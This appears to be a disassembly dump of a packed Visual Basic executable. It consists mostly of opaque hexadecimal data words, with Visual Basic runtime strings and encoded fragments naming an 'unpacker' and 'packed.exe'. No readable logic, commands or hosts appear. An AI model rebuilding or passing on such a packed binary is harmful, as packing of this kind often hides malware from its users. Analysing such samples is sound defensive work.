256F9250h, 4AA8DC2Fh dd 924F1499h, 9559176Fh, 39AF8A0Ah, 9D103F03h, 0BC0E8536h dd 2AE9h, 637B8E00h, 5EB6A19Fh, 434F8A7Eh, 519A4DFFh, 7B6F923Eh dd 0B0EE16E5h, 923CDAA7h, 0F601F96Fh, 0E0E50BBh, 7D3BCh dd 0CEE40000h, 89Bh, 0F8637BD7h, 48A6027Ch, 8C580C9Fh dd 211FE34Fh, 862E5C3h, 57D8A58Eh, 3FF6F8Ch, 576D3225h dd 0B68A6F8Ch, 3690EE89h, 1150AE49h, 0EB01FDD9h, 85E3479Fh dd 7B551A52h, 0CD2B1749h, 0D9A6B1EFh, 0FE697B53h, 62880665h dd 0E901C2BEh, 698762EDh, 2947A26Dh, 0F3EBBFADh, 6206D10Fh dd 6743684Eh, 271599Bh, 0E486EA6Fh, 0B1929h, 26A0DD00h dd 635B9E59h, 0BC1A5194h, 0FAD410D3h, 3492EA0Dh, 0F9AD424Bh dd 0BFBA0581h, 7CF7403Eh, 30339CFAh, 0FE73DCBAh, 65C8559Eh dd 0A2EF7BAEh, 589651BBh, 0E36CCC7Eh, 9D5CC710h, 0A68C5275h dd 57FC9F48h, 0FF34F8Ch, 0E9746A40h, 271B318Dh, 0F5E76D4Bh dd 8576C64Ah, 0F16262EDh, 497B2C1Eh, 0EFE706C1h, 625CBC60h dd 14548BE1h, 0F671DEBAh, 0A4EC1E78h, 559EF842h, 436A291Dh dd 0A71F5F00h, 146AEDCBh, 0D42ACDBAh, 0E46A50FAh, 64D0220Bh dd 0A2D81B27h, 2DDA0624h, 69C00F5Ah, 6ED40AE3h, 0C6FB2730h dd 0E4C2BD56h, 5EA6AE73h, 0CA75C5DDh, 0CA282A16h, 0C17080A9h dd 0A5CEA2Bh, 5D920000h, 18539661h, 0D716D1BEh, 91D510FFh dd 4FAF4A35h, 6A878877h, 0F7403EBEh, 3483FB7Ch, 70DFB731h dd 0B01F77F5h, 850ADDBBh, 927BAE66h, 637BF81Fh, 0D3B6A19Fh dd 0D84F8C58h, 0AFCD0660h, 6F8D68D7h, 1A333917h, 0ECEA0C98h dd 27C7A15Ah, 0E26DC9C5h, 0BE845A2Eh, 7AC48A40h, 0B7099641h dd 0D22E6F8Bh, 82B9E31Ch, 35CC1775h, 12497B58h, 0F977F02Eh dd 1CD2329Dh, 0A09683C9h, 5D18274Bh, 0FD85A71Fh, 3C2701E9h dd 4369DBACh, 845FB981h, 91ED0F66h, 5C2B877Bh, 0C16B6399h dd 69DBDD6Eh, 58A24463h, 0D856F57Eh, 0FD5D3D58h, 4CA2A583h dd 0CC22C572h, 58B694F2h, 58D7028Fh, 3A29115Dh, 5D58D675h dd 9740BE82h, 5D58D70Ah, 3726D129h, 0A368FBD9h, 0B05D58D6h dd 57F5D12Fh, 65000FEBh, 159D8F07h, 240F69D1h, 3747D349h dd 402E64EAh, 0FF4C86B3h, 0BEACAC50h, 0D00EF4EAh, 34FA5707h dd 0C6DE631h, 97A098B2h, 7DF15E5h, 18FCA296h, 9489372h dd 718E0000h, 2C4FAA15h, 0EB02E552h, 0A5C12493h, 639B5E29h dd 7EB39C6Bh, 8B7452AAh, 0C8B70F68h, 4F3CB2Dh, 44338BE1h dd 9966F1AFh, 0BE7BAE67h, 36B48CF3h, 0D7007E58h, 759D5D4Ah dd 0AA669169h, 49E3DB11h, 5AE7D22Ah, 723F2824h, 81759D5Ch dd 60E3DDB9h, 3F9D8F07h, 9D5C6734h, 0D08C8C75h, 8EF53827h dd 11B602EDh, 1Bh, 8916C13Fh, 0AE759D68h, 513EA552h, 5D1BE073h dd 0C038759Dh, 502C637h, 0D4EF0000h, 6787405Dh, 7B91ED08h dd 961C2B87h, 0AE8CEA50h, 5D1AE770h, 0C139759Dh, 7FEDE902h dd 0DDE17483h, 0F84F8A74h, 0BDBCA700h, 4C927E83h, 1876509Ah dd 426A0DFh, 0A4582BD4h, 91767370h, 526F49C3h, 96BD0220h dd 4998A555h, 5BB511CDh, 2C25EA7Dh, 0F30B967Bh, 6E99619Bh dd 2A10D6A2h, 0AEAA1BCCh, 6F4D706Ch, 949A47D9h, 3E25A992h dd 906D4871h, 0D38DBA86h, 0B836316Fh, 78F671DEh, 70AC41Eh dd 4BE1BD72h, 8398Ah, 680FD00h, 433BBEB9h, 9CFA71F4h, 0DAB43033h dd 14728A6Dh, 998DA2ABh, 5F9A6561h, 1CD7A01Eh, 0D013FCDAh dd 9E533C9Ah, 68A875FEh, 0C2CF7BAEh, 5836B49Bh, 0F5D129B2h dd 0B2C90A0Ah, 0EBA036D4h, 59A9C84Ah, 5357E05Ch, 9E49A78Bh dd 4F8CFB15h, 7FF8D62Ah, 3F3A8501h, 8DEBC5C1h, 8CFAD55Ah dd 0C51EE26Fh, 721E29A5h, 1C7AC026h, 7BF73CCBh, 0F9D72B49h dd 3986007Eh, 24C6C03Eh, 0E1635B93h, 0E4635931h, 0AFE924C6h dd 67000007h, 20C38C0Ah, 0FB7EC9C5h, 0BABD0A84h, 7CF7403Eh dd 0D83582FCh, 93EB0317h, 2EA8C124h, 6A648661h, 0AA245A9Dh dd 0FF6814DDh, 7BAE6932h, 7B154841h, 0B6A19F63h, 4F8C58DFh dd 64293A18h, 736F8C58h, 7CDC808Fh, 0ADA7C102h, 8C57F5BAh dd 423E026Fh, 0DE1CD7B5h, 8C686687h, 0CCCA20C3h, 0AE944A5Eh dd 6FCBE770h, 72CE4979h, 5E204AF0h dd 0EA2BC1E4h, 73Ah, 0B8077FFCh, 0F35C3ABDh, 329DF970h dd 6CDBB337h, 0AA157189h, 60988CA5h, 1D5E9966h, 0D913D6A1h dd 99D712FDh, 0FF99523Dh, 0AE69A774h, 9AFDCC7Bh, 0B25836B4h dd 469906CCh, 12CA732Ah, 92EC02E5h, 8D56B4h, 17759D65h dd 33701C2Bh, 3DB3CE3Dh, 89EC6741h, 1813020Dh, 0B602E1B3h dd 0EF0660E3h, 2018328Ch, 0CD7AA644h, 0C58h, 96517D00h dd 6FD07F57h, 300h, 5836B408h, 9006CCB2h, 132C1D81h, 0B9BDA233h dd 229E8EE7h, 86499D15h, 1AC66462h, 0B219DD9h, 0CA1D7BD7h dd 4F8CE23Bh, 8C67D028h, 61FA106Eh, 0E8C28D09h, 0B6106BF6h dd 0BF6BFCDAh, 0AA497BDDh, 81FF7856h, 0DDCF5C87h, 73E4697Bh dd 0B16983FBh, 0C41F79D5h, 301F28A6h, 42B8B735h, 9E7AA644h dd 0C9142A0h, 2B697BDEh, 0E0DE1CD7h, 0CA22B557h, 0E7605ECCh dd 0F7DC6789h, 5E3FA7EFh, 679048E2h, 79579B43h, 68E06EEEh dd 9641BF43h, 6370BF09h, 5836B52Eh, 51A953FCh, 6E917393h dd 2FEE9CEAh, 61Eh, 54239BD0h, 8F785691h, 0CEB91554h, 8F7CF2Bh dd 46318DEDh, 7CFCA849h, 39B2B502h, 0F577F25Dh, 0B5CB2E99h dd 9B856ED9h, 0AE6AC348h, 0A6D9D07Bh, 0BE3F36B4h, 7EBB6DAAh dd 78D4741Dh, 49A1A29Ch, 500EC24Dh, 748A679Ah, 3324DBCFh dd 759D7D6Eh, 2ED9B585h, 8DB354Bh, 759D7D83h, 5ECCA890h dd 0BD383B59h, 7E0B9043h, 0D028759Dh, 0C635CB74h, 6F67855Eh dd 0C11977FDh, 50B9318Ah, 52A84BF4h, 3BA08B74h, 7BB602D0h dd 0EB017DF8h, 181F0837h, 21000000h, 5DCFC726h, 8864629Ah dd 0D412C746h, 0E26D60DAh, 146CEFBh, 51D70000h, 0D17E5896h dd 64FED816h, 0D841F3D2h, 5F02C369h, 97000005h, 50937C5Ah dd 2BCEB915h, 0EA0DFAD4h, 0AC47308Eh, 8885724Ch, 433BB367h dd 9EF871F4h, 0DAB43631h, 1A748A6Dh, 0FD844ADh, 7BAE6B82h dd 0B4E51891h, 0E57E5836h, 0D25F8884h, 0E1759D5Ch, 0FE92BD19h dd 0A8264780h, 36B15E82h, 772CDEB8h, 17F0AF1h, 19DA3A85h dd 2DF265DFh, 4A759D5Dh, 8AF01AF6h, 9D5CD459h, 0A31FE375h dd 0E9B21994h, 0D75B602h, 2000000h, 0B7CEh, 0B1CED700h dd 0D7000000h, 0A19F637Bh, 5D0B9043h, 481C759Dh, 0F0B01503h dd 3CCB37C5h, 7BFC8B5Ch, 17EB4F8Ch, 7339ADF5h, 8C7C1BE0h dd 3C0386Fh, 0D630ECEAh, 799AC10Dh, 0E803D449h, 283032EEh dd 2FE45DF7h, 49C40BDh, 1D520000h, 0D813D6A1h, 97D611FEh dd 5195503Fh, 0F6F8A75h, 2AC7C8B7h, 3780FE7Eh, 74C3BB3Ch dd 0B01F77F1h, 0F05F37B5h, 45CA1D7Bh, 527BAE6Ch, 637B385Fh dd 38B6A19Fh, 3D4F8A30h, 960E3DDh, 0A0A39F8Dh, 78A04A44h dd 0F776F1CFh, 9525309Fh, 0A46F9210h, 0D9734BA3h, 0EAB70E3h dd 70C86F92h, 72886B94h, 3148AB14h, 2F56B755h, 7F000004h dd 0A19F637Bh, 8C57DFB6h, 0A0DF184Fh, 3AB30426h, 0A557E05Ch dd 29C3BB32h, 0A3F715F1h, 5E99F73Bh, 25A1C41Bh, 0D07FDB07h dd 76DB67F0h, 2FE4979h, 5E1A42C0h, 0C203A9E4h, 3F2h, 0CFC724h dd 0BB0482E5h, 0FA4541B8h, 3483FB7Fh, 72DDB931h, 0A8C0D41Dh dd 6586612Eh, 215B9E69h, 0E11FDAA5h, 0A7D11AE5h, 0AE6CEFBCh dd 5285047Bh, 1629B51h, 15527069h, 0D41EC0EAh, 0B5BE9CFAh dd 759E14E8h, 7104330Fh, 4F8D0FA6h, 7C5A9E59h, 3BE512CEh dd 106EE9C7h, 0D02EC9B6h, 0C65298F6h, 6DEE17CAh, 0DCA46897h dd 0C6200Ah, 5962C355h, 81FF08E0h, 0D9245A3h, 0F66F8C91h dd 8C90A06Dh, 0B14BB76Fh, 0B32BBE49h, 0BE497B8Dh, 8DE36442h dd 4DA34631h, 8C9B60F3h, 40B8697Bh, 0DF1846E4h, 0D60A209Eh dd 0F25D8129h, 47A11D79h, 0FE6C6A8Ch, 8CCA5780h, 11E9697Bh dd 2C0A8AB5h, 0CCECFF26h, 19269F9Fh, 68BBAA4Eh, 8143BF43h dd 0EA6E948Dh, 1B8D48E2h, 0D3000003h, 9C57209Eh, 57927D59h dd 16D1BE18h, 0E80BF4D2h, 44493690h, 77FFFABh, 423CBDB8h dd 9EF872F5h, 0DEB83631h, 4B9CF871h, 7BAE6DC6h, 0B4B9DCEDh dd 8409DA36h, 93759D5Ch, 8659F3AFh, 0D2306E68h, 9D5C7C01h dd 98A79B75h, 0F25D81A9h, 0A4C41F77h, 7CD8002Ah, 58C5D102h dd 58A04F8Ah, 58B039B2h, 47A66F92h, 0E41ADD4Fh, 5832FF68h dd 0F9416F92h, 0B088EF1Dh, 60F85F49h, 0EEDB4099h, 18DBBC0Dh dd 136888DCh, 4F7EB675h, 76817993h, 2581h, 30B48F00h, 7B32A956h dd 0B6A19F63h, 4F8A7436h, 8225C73Bh, 6F923439h, 0DB2E9D53h dd 0BC0E1770h, 0CB33h, 36B4C400h, 0D129B258h, 6E8C57F5h dd 69303610h, 0F2C876B8h, 9EFC90BFh, 34EAB7A0h, 3109759Eh dd 0B10D6306h, 0C81B7957h, 759E3543h, 0B67BE850h, 0E4759E34h dd 0AF60482h, 34763B2Ch, 0BD9D759Eh, 1550A392h, 23759E31h dd 0E306F1CDh, 8F1B318Dh, 0A2B59357h, 4F8B3E72h, 1876F46Fh dd 0E5520EF2h, 0F7D119CDh, 85495C6Ch, 0EFC93149h, 0CDBA1454h dd 7EF4D22Ah, 0E459E800h, 0E7987517h, 2F000001h, 0E80BF4D2h dd 0A346318Dh, 6285724Ch, 243F8806h, 107DCAC4h, 0DBB3CBDFh dd 1670896Ch, 522C4EA9h, 92EC02E5h, 8750CC25h, 7BAE6EFAh dd 516D9019h, 5D1BE073h, 0C038759Dh, 423CBC37h, 0AEB997F5h dd 759D5CE1h, 7AFD0AF6h, 0C63D8A04h, 0A19F637Bh, 8A7436B6h dd 0A6CE74Fh, 5B378FEBh, 0E208F0ACh, 92340049h, 6752AA6Fh dd 0E17A912h, 0A57ABCh, 0B41B0000h, 29B25836h, 9C57F5D1h dd 759D5959h, 0CAB5116Fh, 116BECCAh, 57E1AEB5h, 0AF6759Dh dd 8A047AFDh, 64CE1060h, 66E9D90Ah, 64D44F8Ah, 694F979Bh dd 0A5B216E3h, 392A607Bh, 6F91F174h, 40A4BF83h, 5B8CEA46h dd 498421F0h, 0C20563DFh, 80632CAAh, 74D46E68h, 0ABE45B0Eh dd 114C401h, 0A5DA0000h, 609B5E29h, 1F5E9966h, 0D91DD8A7h dd 97D712FDh, 0B27F503Fh, 0BF0886E6h, 0FC4B43A4h, 3887FF79h dd 78C7BF3Dh, 0CD5285F3h, 0EA7BAE6Fh, 34B4B0A7h, 81FB7C5Ah dd 0C3BE705h, 4DA4DA1Dh, 43BFAD29h, 0B42118E7h, 0CCB25836h dd 5CB845EEh, 63DF759Dh, 0E3DB11D4h, 0AF274285h, 6579B1A0h dd 0ADB0A39Dh, 0B24F8C57h, 0E51BDC4Eh, 86518FE9h, 6F8C57F9h dd 13C4221Eh, 6F8C578Eh, 0BBAA55A5h, 292E42B8h, 0E8E60769h dd 25147E66h, 0B008A349h, 8400B269h, 0EDE90D64h, 29401B31h dd 785696ADh, 7B4EE4D2h, 4953D80Bh, 98602242h, 0A316C83Ch dd 5D34ED63h, 836CE2BBh, 37BF174h, 433BB1B4h, 5295F3A9h dd 528EBC1Ah, 4206FC81h, 18271B22h, 43BD195Dh, 0C3696580h dd 765CF01Fh, 27809F0h, 0F4A4AA84h, 69362185h, 8E2241E7h dd 0E1A0BCB2h, 2EC938C7h, 5298F6D0h, 2CA74B36h, 0E6AA552Bh dd 1127h, 9B51C000h, 5ABF4EACh, 95F17432h, 202F8B77h, 37B41D62h dd 0D42AAD5Fh, 6D8F50FAh, 760FB11h, 0A2DA9D8Fh, 3DBD0624h dd 0D410AB41h, 708F50FAh, 863F416h, 56199C8Eh, 0BB53E689h dd 4, 835BDE01h, 348704EEh, 0F5685C24h, 89000006h, 0A4682434h dd 89000020h, 0BA52240Ch, 28403027h, 881E281h, 0F2812293h dd 261105E8h, 24348152h, 48BD39E9h, 0E9F6815Eh, 5A48BD39h dd 240C8B54h, 4C481h, 52560000h, 144C4BBAh, 24540161h dd 418F5A04h, 8698108h, 61144C4Bh, 53240C8Bh, 0C381E389h dd 4, 8704C383h, 8B5C241Ch, 89532434h, 4C381E3h, 81000000h dd 4C3h, 241C8700h, 2DFBE95Ch, 82B0FFFBh, 9E697400h dd 756C787Ch, 14A7B8E3h, 0C5030611h, 51DE0FFh, 707270h dd 7BF2344Fh, 0DA15134Fh, 0ECB47EACh, 91442888h, 15902C4Ah dd 668F77B1h, 6BED7B6Dh, 22C23228h, 0BD825CD2h, 156A0FE6h dd 0C4F30885h, 645651F9h, 314A548Bh, 0CB1C1AFEh, 44494C8Dh dd 0D6A20260h, 8C53197Eh, 0BEEC24BEh, 5CE95FA3h, 0C5000001h dd 4377E705h, 5F6D5C3Ah, 61706E75h, 72656B63h, 63617000h dd 2E64656Bh, 657865h, 3Ah dup(0) db 0 db 2 dup(0), 33h aCannotFindS_Pl db 'Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 db 6Fh dd 0E97117DFh, 1B1Eh, 11190C68h, 6829E906h, 0C68FFFAh dd 0E906111Ah, 0FFFA681Fh, 111B2D68h, 6815E906h, 0D368FFFAh dd 0E906111Bh, 0FFFA680Bh, 111C1268h, 6801E906h, 0D368FFFAh dd 0E906111Ch, 0FFFA67F7h, 111D2B68h, 67EDE906h, 8768FFFAh dd 0E906111Dh, 0FFFA67E3h, 1123DC68h, 67D9E906h, 4F68FFFAh dd 0E9061124h, 0FFFA67CFh, 11252C68h, 67C5E906h, 0F768FFFAh dd 0E9061125h, 0FFFA67BBh, 11266268h, 67B1E906h, 5668FFFAh dd 0E9061127h, 0FFFA67A7h, 1127EE68h, 679DE906h, 0A268FFFAh dd 0E9061128h, 0FFFA6793h, 112EE568h, 6789E906h, 0F468FFFAh dd 0E906112Fh, 0FFFA677Fh, 1130C868h, 6775E906h, 0A1CFFFAh dd 0B0C72033h, 66B55281h, 71F886Bh, 0B6CA3B38h, 86ED548Fh dd 31221D67h, 61F2CFD4h, 9E457084h, 0CA292471h, 0C7832BC1h dd 48C5850Ah, 0D5DE03F9h, 4CE072F8h, 0C3941D38h, 0B59D4B8Fh dd 5D86B3C4h, 592D41D3h, 2EC3941Dh, 1A623AD4h, 0CE53DB01h dd 7F4260E6h, 0DE24D11Bh, 113F13E7h, 0E4592939h, 148C3A60h dd 5CA6399h, 46E72C35h, 1000000h, 0E4760D6Fh, 6CDDE039h dd 675B2F16h, 2E8F27C9h, 1FBD9F05h, 1885573Bh, 3C4B320Fh dd 7313E30Dh, 0A63A60CBh, 56BCCB3Ah, 9F83E121h, 5882E605h dd 603EB0D4h, 25C3373Ah, 5F8E0283h, 4A2C3514h, 0D0h, 0F8D5DE92h dd 605FA514h, 4C5F4E9Ch, 297AD37Dh, 73A2A81Ch, 0FBA21629h dd 0D72B9FA2h, 0AFF855F3h, 0E1DD4192h, 78C39419h, 47C1122Fh dd 8E724F56h, 64B19C4Ah, 0F785E569h, 6376FE6Ch, 0C44260FFh dd 633965FEh, 0F09A12D8h, 4B446D5Eh, 0AA5BE577h, 0A5996D54h dd 0F4C5D4h, 0D12B22CCh, 4DF27CEEh, 0AB7C9E48h, 6662E240h dd 0E9307311h, 92796691h, 0ADA7665Bh, 0FD07E083h, 83D4B034h dd 0BC5B3073h, 6881F513h, 0A79BFFEAh, 6ACCFAA8h, 0B609F98Ch dd 187Ah, 6A89C0D2h, 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h dd 0C7DD3027h, 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h dd 8504BDC9h, 0DD4332C5h, 296EDADEh, 0C2233014h, 0B95F84B1h dd 84150BDh, 0A5BEDEDEh, 139B25B7h, 0C3941D77h, 196693B8h dd 13EC3DADh, 0C475012Fh, 0A9BD9F15h, 0CD5FED51h, 60FB2D59h dd 6E5BAC3Ah, 0DFE63C91h, 350C12FBh, 13E30D41h, 3A60FB73h dd 19F3F2A6h, 2C35D6F0h, 0CAD9h, 0D5DE2700h, 5FA514F8h dd 78549C60h, 0C1C39419h, 0CFF60CB4h, 8A9F08EBh, 0C9D3CBBFh dd 3104A8B2h, 364260FFh, 354717CCh, 20B23C2Eh, 60CCF88Ch dd 0FE8A223Ah, 713A60CCh, 9AB48E09h, 6D5CB3CAh, 0E9FA6144h dd 8567F305h, 7493709Eh, 71CF05EDh, 0AEBC9058h, 95A8F11Ch dd 0B78E927Bh, 0F7BB20ACh, 46DDA5E1h, 0E5761B24h, 0DC908526h dd 0FEC1DB32h, 6A522371h, 857AC88Ch, 177Ah, 6A89C0D2h dd 845F6ABDh, 3221186Bh, 6DF6CDD5h, 9E457880h, 0C7DD3027h dd 758A7BF8h, 2A7AAB48h, 0D227C013h, 5D8F7CE7h, 8507BDC9h dd 0DD4332C5h, 71FBDADEh, 3DF249CAh, 0B624D3EEh, 4023CD55h dd 0FC6752A7h, 3A4EE670h, 8DC394D2h, 0DEA59BB5h, 0BC146DD5h dd 95E95D68h, 1E8F5DB1h, 0A7502419h, 4F72F44Ah, 0B452B62Dh dd 0AD98ED5Ch, 0DA0300BFh, 9F3C58D9h, 34EB9860h, 26C0F499h dd 0C1D2C34Dh, 7DCC00F4h, 57AB1F2Ah, 8C97E5B9h, 6D5CAF5Eh dd 8529C3h, 5BD9F7Ch, 0B9FE2F3Dh, 23DC3084h, 0BFC8D3CCh dd 0D830DED7h, 61937808h, 0F6F7AD3Ah, 359AEB02h, 0A8C62Ch dd 462E0000h, 0C65D3F2Bh, 0A39EE914h, 0A34DFBDFh, 4E1CAA11h dd 922A43A8h, 0DBA5E074h, 50AABD9Fh, 0C145F77Fh, 39909FBh dd 1362668Eh, 9DE5E6CFh, 89EDD82Ch, 22EECB63h, 7B5F98C4h dd 0EB059797h, 0FADEA29Dh, 0E688FC70h, 3B1FDCDBh, 0E99115C7h dd 46A2D629h, 0EA3FEE7Ch, 9EEB04DFh, 0B0FAA4A3h, 19E96710h dd 1659A6h, 0A8A7F300h, 7E4B5A4Bh, 0C0F908E5h, 95ACF213h dd 645BA14Eh, 0FA1158FFh, 0AB449FA6h, 1BF46F52h, 0C421320Dh dd 0AC5D86B3h, 65C28BCh, 64D3C585h, 0F8D5DEFCh, 0F3881414h dd 0D40C569h, 0FDC5BD9Fh, 50BD9E66h, 0EDD8764Bh, 8992EAD6h dd 5FECB63h, 0B4FBD9Fh, 8A84D214h, 498C548h, 1A68BAA4h dd 0C73B3BB4h, 91A8B15h, 5742123Ch, 0D8CF5426h, 7E1E1EE2h dd 97FF77E5h, 68D12625h, 0CADDC812h, 6E9F51FFh, 0D3C22825h dd 0C2068AC5h, 0AD11287Bh, 0A824BF69h, 0F11F2A7Dh, 313E0B1Ch dd 19A0B28Fh, 0B3E9AEA4h, 0D000015h, 0F411C2F9h, 0A24390A1h dd 0CF97A57h, 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h dd 5463B552h, 38151E8Fh, 921AD63Bh, 0C58506F6h, 0DE128A79h dd 5B6FF8D5h, 0E880522Ch, 1574A51Ah, 0BACC0000h, 60B75083h dd 16658251h, 0B7CF383Bh, 66BA6B88h, 363D845Fh, 61F2CDD7h dd 91427F84h, 0CE152074h, 7AF9D421h, 0B7D35B91h, 38C58501h dd 0D5DED349h, 0A529146Dh, 7DD8D661h, 0A6452FDCh, 0CF6CFE42h dd 8B72A93Ah, 4854F27Ch, 0A93D2F34h, 0BD9FF470h, 196EF5CDh dd 162D4F99h, 0CD65A0C4h, 90EA446Ah, 0E9435B4Ah, 0FFD3A79Ah dd 0EA766D9Bh, 30DEE13Bh, 0D63576A4h, 0DB3646DBh, 0D5F53753h dd 6E42B894h, 0C44D68FCh, 0D822EADEh, 2279E674h, 0E6D48A57h dd 0EBB10D3Bh, 0C3788A50h, 0D422F1A2h, 69FD2BC5h, 0ECAFB901h dd 0A75684FEh, 70FC6752h, 0AD5B7685h, 0ED7A57A0h, 352A3DCFh dd 0B341060Ch, 0D000014h, 0F411C2F9h, 0A24390A1h, 0CF97A57h dd 0FB14CFF6h, 0FE459EA1h, 310C14F7h, 81BCC522h, 5463B552h dd 38151E8Fh, 921AD63Bh, 0C58501F6h, 0A7128A79h, 0C3941D23h dd 942DB3D3h, 53A451C3h, 4C3CC866h, 0B43C6BDDh, 3C6BFDD4h dd 0FA754055h, 80524BECh, 5B443B0Fh, 0F5000014h, 5C49AAA1h dd 0AFB7849h, 0F411C2FFh, 0A34C97AEh, 46FD6659h, 99A4FC1Fh dd 6954AD5Ah, 3C0B1D8Ah, 80BDC627h, 2A42AE53h, 0C585005Eh dd 6FFA62D1h, 40E4760Dh, 0BD9F0059h, 0C18529BBh, 463A60CCh dd 9875D27Ch, 5A9B382h, 3A60CC41h, 4F98FCC6h, 865D5B59h dd 0FFE3A4AEh, 59000013h, 0ED764Dh, 0EE1FC4F5h, 58B5AEA3h dd 7E07342h, 0A211C2FDh, 6558A0BBh, 350811FEh, 98B7C12Eh dd 6C59AA5Bh, 4EE60AF7h, 0C585003Ah, 0DE463E8Dh, 0E2E60ED5h dd 65C3941Dh, 1D0743EBh, 0B288C394h, 27967A5Eh, 0E313E7D2h dd 45E41CA9h, 6C32400Dh, 38h, 340B11FCh, 7CE20C40h, 941D27A7h dd 605DA6C3h, 0CA796BF3h, 179FC3CEh, 3C309673h, 96711599h dd 8CF63C30h, 67EBCF33h, 137DA0h, 0BA32BC00h, 3C3096CEh dd 69CF7941h, 176DD5DEh, 0C60A428h, 71C60B8h, 0CC394BD5h dd 0D7989B4h, 82C3941Dh, 0DBC68EB8h, 0C1BD9F34h, 0F84B3FB7h dd 0E6DC3A60h, 6CF7CB48h, 0BD16A32h, 0CBBF869Ah, 1F9759F7h dd 446BC0EEh, 0C6B71B7Fh, 0C95D86BBh, 307DC6B8h, 832BEC3Bh dd 307DC6C7h, 0B4033246h, 5B806A4Eh, 61D48C08h, 0F56E98AFh dd 483C0D18h, 0D7BB96E1h, 799E2F69h, 92C9132Eh, 5854C058h dd 300D1229h, 0FA14084Ch, 0F56E9F79h, 0EF4C2629h, 0B2ED45D7h dd 0AA2FD9E5h, 1B8h, 760D6FB2h, 53AB5AE4h, 0B32C26Ch, 64BD9F26h dd 0D821CC1Eh, 16C74BE5h, 0C421320Fh, 343C80B1h, 3A60DB54h dd 2EB23361h, 5262A0B1h, 43870B42h, 0CCA595B4h, 0EDDC2B22h dd 0CF542876h, 7B20891Dh, 251D446Ah, 8CB1C637h, 7BB2D65Eh dd 0CD35307Dh, 3A7E2F23h, 0D324D11Bh dd 103E12E6h, 5362B657h, 67B05DEFh, 42786AB1h, 5799122h dd 23B35DB1h, 307DA0A1h, 3F454090h, 0A04D39ADh, 0F8C2307Dh dd 9AA5FF4Eh, 0FD59AC59h, 0D5299DA8h, 495C0DF1h, 202A9478h dd 0A06A1E96h, 0D1BD307Dh, 0CDD9C340h, 9A635720h, 0F0D4B885h dd 0A8515C56h, 5F76C5Dh, 262A4CE4h, 3FCDh, 0DADE2B00h dd 52A617FBh, 0E7219F63h, 32FB01E6h, 941DCEBAh, 97EC41C3h dd 8EE226AAh, 4D5540AAh, 34B88276h, 0C3941D50h, 5D8FE3D7h dd 941DBDC9h, 1EC832C3h, 0F092BB45h, 0C1BF3240h, 59000000h dd 0E4760D6Fh, 9EFF1140h, 0D0A49EBDh, 1074F80Ah, 973A60CFh dd 7D8885A3h, 2F76974Ch, 0A8FFAE12h, 494B3599h, 8D8734BCh dd 0D66E3701h, 7B8A83ADh, 0C26B954Eh, 0EF2C3587h, 74h dd 0BB33BD09h, 0C3941DCFh, 0F0CC7A40h, 204496A9h, 0C3941DF4h dd 0D5578416h, 313CDFD7h, 0C5CFBB4Bh, 7A40C394h, 9BB58493h dd 72F246BCh, 0C394C612h, 6B830DDFh, 0C394CA1Fh, 13FE7190h dd 5D031EB6h, 0D8D5CF79h, 665DA550h, 0C90BE92h, 0F600EA6Dh dd 78C1F007h, 56AA1E23h, 16082CB8h, 1B7FC394h, 59A14CD8h dd 87CF07Ah, 9FC39417h, 11968DBBh, 3E000000h, 53C8h, 129A2400h dd 0C3941D76h, 0F16781F9h, 0CFBB33BDh, 40C3941Dh, 3241CC7Ah dd 0B3C2AB1Fh, 5CA95486h, 8FB99D61h, 48EC3BD4h, 45B90D30h dd 2195A0F4h, 0E50589EDh, 2B3B8F98h, 0C56B4F64h, 1098158Fh dd 1D1A6E86h, 95EDC394h, 0F168817Bh, 6B413240h, 0AF00000Bh dd 764B50BDh, 0A9477287h, 0BFF8815h, 4B3FB7C1h, 0DCC3941Dh dd 77BC48E6h, 923B3F08h, 0DC0D8706h, 0F5A894D8h, 32h, 0E40E6F13h dd 6FDEA29Fh, 61A52918h, 5964BC0Dh, 0B7FF765h, 9CC3941Dh dd 9412D2A6h, 0D1AE761h, 4BE21697h, 7188CD23h, 0AB457084h dd 1F0D6h, 33BD3E00h, 941DCFBBh, 0C64B00C3h, 6D6B1E41h dd 3E7EA892h, 0EB1AC05Fh, 9187A198h, 0D5DEBCA4h, 0D04806F8h dd 40050CCDh, 38D3237h, 2F66B96Ch, 21E67B95h, 0E000000h dd 9F710E6Fh, 1D5829BDh, 0EDD5C394h, 4A878E7Fh, 47BDA69Ch dd 18FED3DEh, 3FC8857Bh, 50000000h, 9F710E6Fh, 94450BDh dd 4B3FB785h, 0DCC3941Dh, 8A6482E6h, 941D6362h, 0F1481C3h dd 0CD0A4E32h, 25C5B3EFh, 1992BCF7h, 778273F9h, 0BDB6AC5Ah dd 0FED3DE47h, 4550BD18h, 0A24C8074h, 2BA7080Eh, 0B204A3B8h dd 638C576Eh, 0C4313B16h, 9C6781BCh, 0DD162973h, 5B404D97h dd 0B31C734Eh, 0F7986B66h, 18958F9Ch, 0B4ABA6F3h, 0F2961EA8h dd 75835B84h, 196AE30Dh, 0D226272Ch, 5B847E0Fh, 618BCF83h dd 0D98C6EB4h, 3B3AEBA3h, 0B5897D51h, 5E98C89Bh, 605DA64Fh dd 0C3FE0BFAh, 0F6ED1B7Fh, 0B23AF309h, 835B13D6h, 0DF0D6159h dd 0ACD5F060h, 0D6707A19h, 2873E872h, 0FC278457h, 572590BEh dd 6EFFE3Ah, 0F710C3F2h, 3B4597A2h, 5B30D7B3h, 0C4625883h dd 1BCED233h, 835B306Ah, 0D5549FE3h, 98ED1293h, 0B0C54AADh dd 47194E85h, 0FD22A3E1h, 0D5BA9DA8h, 917EF5C0h, 0E9BFB48Bh dd 5160B667h, 0BF0FDB7h, 74ECC3FEh, 6F8D5DEh, 0A6FBCA4h dd 0D0489375h, 40050CCDh, 2F2537h, 6FC30000h, 0BD93750Ah dd 941D5829h, 0BEDD5C3h, 0DA133BDh, 0C3941D79h, 0E45AF4CEh dd 9C9F1EBDh, 7DF10635h, 1E2B7AD3h, 0C8857BB8h, 3Bh, 0E00A6F50h dd 0F2D6BA97h, 29BD389Eh, 0C3941D58h, 0BDA71979h, 790DA133h dd 0CEC3941Dh, 0DEE45AF4h, 7B04FAD7h, 36F104F1h, 941DCABEh dd 1655DC3h, 0DBE59BDh, 7BD69F1Bh, 0A705FB15h, 0C3941E99h dd 58E7DE24h, 10A551FFh, 940B6F71h, 